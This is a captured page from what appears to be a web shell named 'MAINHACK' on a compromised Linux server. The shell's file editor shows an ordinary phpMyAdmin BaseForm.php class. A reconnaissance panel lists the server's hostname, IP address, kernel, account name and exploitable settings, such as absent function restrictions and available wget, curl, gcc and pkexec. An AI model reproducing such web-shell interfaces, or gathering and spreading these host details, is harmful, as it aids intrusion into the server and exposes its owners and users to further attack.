[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BaseForm.php
<?php /** * Base class for preferences. */ declare(strict_types=1); namespace PhpMyAdmin\Config\Forms; use PhpMyAdmin\Config\ConfigFile; use PhpMyAdmin\Config\FormDisplay; use function is_int; /** * Base form for user preferences */ abstract class BaseForm extends FormDisplay { /** * @param ConfigFile $cf Config file instance * @param int|null $serverId 0 if new server, validation; >= 1 if editing a server */ final public function __construct(ConfigFile $cf, $serverId = null) { parent::__construct($cf); foreach (static::getForms() as $formName => $form) { $this->registerForm($formName, $form, $serverId); } } /** * List of available forms, each form is described as an array of fields to display. * Fields MUST have their counterparts in the $cfg array. * * To define form field, use the notation below: * $forms['Form group']['Form name'] = array('Option/path'); * * You can assign default values set by special button ("set value: ..."), eg.: * 'Servers/1/pmadb' => 'phpmyadmin' * * To group options, use: * ':group:' . __('group name') // just define a group * or * 'option' => ':group' // group starting from this option * End group blocks with: * ':group:end' * * @return array * * @todo This should be abstract, but that does not work in PHP 5 */ public static function getForms() { return []; } /** * Returns list of fields used in the form. * * @return string[] */ public static function getFields() { $names = []; foreach (static::getForms() as $form) { foreach ($form as $k => $v) { $names[] = is_int($k) ? $v : $k; } } return $names; } /** * Returns name of the form * * @return string * * @todo This should be abstract, but that does not work in PHP 5 */ public static function getName() { return ''; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002